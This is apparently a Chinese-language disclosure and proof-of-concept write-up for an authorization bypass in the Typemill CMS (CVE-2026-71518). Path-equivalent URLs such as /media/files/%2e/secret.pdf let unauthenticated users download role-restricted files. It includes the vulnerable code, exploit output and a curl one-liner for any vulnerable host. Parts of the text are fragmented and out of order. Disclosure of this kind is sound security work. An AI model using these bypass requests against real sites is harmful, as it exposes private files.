限制校验基于原始请求路径;文件读取则基于操作系统解析后的路径——两者并不一致
概览 · 摘要 · 根本原因 · 攻击链 · 漏洞利用 · 修复方案 · 时间线
Typemill 允许管理员通过 media/files/filerestrictions.yaml 将单个媒体文件限制为特定用户角色可用。公开的下载路由本应遵循这一限制——但它却使用原始请求路径进行限制校验,同时从文件系统解析后的路径读取文件内容。由于同一文件存在多种路径等价的写法(./name、//name、%2e/name),攻击者可以选择一种与限制键不匹配、却仍能解析到磁盘上同一文件的变体。
该路由未携带任何认证中间件,因此最终结果是:原本被明确锁定到特定角色的文件,可以被完全未认证地下载。
下载路由是公开的——其上没有任何认证中间件:
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');
在 system/typemill/Controllers/ControllerWebDownload.php 中,访问控制决策与文件读取使用了同一路径的两种不同表示形式:
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
// ... enforce role restriction (redirect to login if not allowed)
}
// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);
validate() 只会拒绝字面意义上的 .. 序列——它既不会规范化 ./ 或 //,也不会拒绝百分号编码的等价形式。于是,限制键与实际读取到的文件之间便失去了同步:
该缺陷属于经典的 "授权判定与资源访问分别以不同的、攻击者可控的字符串作为键控依据" 模式(CWE-639/CWE-863)。在 Apache 环境下 $_SERVER['REQUEST_URI'] 同样保持原始形态,因此该问题并非特定服务器所特有。
flowchart LR
A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
B --> C{Restriction key<br/>matches raw path?}
C -->|yes| D[302 → login<br/>🔒 blocked]
A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
E --> F{Restriction key<br/>matches raw path?}
F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
G --> H[200 OK<br/>🟢 file leaked]filerestrictions.yaml 中将其限制为某个角色可用。exploit/exploit.py 可针对本地测试容器端到端地复现该问题。它会 (1) 让 "admin" 放置一个仅限 editor 角色访问的私有文件,(2) 确认规范 URL 对匿名用户已被拦截,然后 (3) 通过每种路径等价变体下载同一文件。
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py
预期输出:
[CONTROL] GET /media/files/secret.pdf -> http=302 (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files//secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf -> http=200 leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)
针对任何易受攻击主机的单行命令(仅限授权测试):
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

realpath() 解析并确认路径位于媒体基础目录之内,同时拒绝百分号编码的路径分隔符。| 日期 | 事件 |
|---|---|
| 2026-08-04 | 在 Typemill 2.25.0 中发现该漏洞;PoC 已在 Docker 上端到端验证 |
| 2026-08-04 | 已报告给维护者 / VulnCheck |
| — | 已在 Typemill 2.26.0 中修复 |
仅供授权安全测试和教育用途使用。© @IlhomjonR
| CVE 编号 | CVE-2026-71518 |
| 产品 | typemill/typemill — Typemill(扁平文件 PHP CMS,基于 Slim 4) |
| 受影响版本 | 所有 低于 2.26.0 的版本(已在 2.25.0、提交 8f3901c 上验证) |
| 修复版本 | 2.26.0 |
| 弱点 | CWE-863(不正确的授权)· CWE-639(通过用户可控密钥绕过授权) |
| CVSS v3.1 | 7.5 — 高危 · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CVSS v4.0 | 8.7 — 高危 |
| 攻击向量 | 网络 · 无需认证 · 无需用户交互 |
| 影响 | 未认证下载管理员已限制为特权角色可访问的媒体文件 |
| 研究人员 | Ilhomjon Rustamov (@IlhomjonR) |
| 请求路径 | 限制键是否匹配? | 磁盘上解析到的文件 | 结果 |
|---|
/media/files/secret.pdf | ✅ 是 | secret.pdf | 🔒 已拦截(302 → 登录) |
/media/files/./secret.pdf | ❌ 否 | secret.pdf | 🟢 已返回 (200) |
/media/files//secret.pdf | ❌ 否 | secret.pdf | 🟢 已返回 (200) |
/media/files/%2e/secret.pdf | ❌ 否 | secret.pdf | 🟢 已返回 (200) |
| 2026-08-18 | CVE-2026-71518 公开;公告 + PoC 发布 |